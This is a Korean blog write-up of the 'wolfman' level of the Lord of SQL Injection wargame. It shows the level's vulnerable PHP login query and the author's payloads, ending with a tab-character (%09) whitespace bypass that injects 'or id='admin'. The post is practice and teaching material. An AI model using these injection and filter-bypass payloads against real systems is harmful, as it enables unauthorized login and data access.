[Lord of SQL Injection] wolfman

2022. 8. 31. 09:57Web Hacking/Lord of SQL Injection

728x90

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php

 

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php

 

los.rubiya.kr

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

이번 문제의 소스코드이다. 이때까지 풀었던 문제와 비슷하다.

_, ., (, ), 공백(5가지)을 필터링한다.

쿼리문에서 id는 'guest'로 고정이고, GET 방식을 통해 pw에 값을 입력한다.

 

공백을 필터링하고 있기 때문에 아래와 같이 구문을 작성하여 입력해봤다.

?pw=0' or id='admin   →  ?pw=0%27%20or%20id=%27admin

공백 필터링에 걸려서 공백을 사용하지 말라는 문구가 출력되었다.

%20으로 공백을 우회해도 먹히지 않았다. 이 우회방법 외에 다른 방법을 사용해보기로 했다.

 

?pw=0%27+or+id=%27admin

공백이 들어갈 자리에 +(플러스) 기호를 사용하여 쿼리를 보내봤다. 하지만 다시 필터링에 걸렸다.

 

세 번째로 사용한 이 입력값으로 문제 풀이에 성공했다.

?pw=0%27%09or%09id=%27admin

공백이 들어갈 자리에 %09를 사용하여 커서를 탭 하나(\t)만큼 이동시킨다. 그래서 탭 하나만큼의 공백이 그 자리에 들어가면서 공백 우회를 성공했다.

Clear!

728x90

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] orge  (0) 2022.08.31
[Lord of SQL Injection] darkelf  (0) 2022.08.31
[Lord of SQL Injection] orc  (0) 2022.08.30
[Lord of SQL Injection] goblin  (2) 2022.08.30
[Lord of SQL Injection] cobolt  (0) 2022.08.30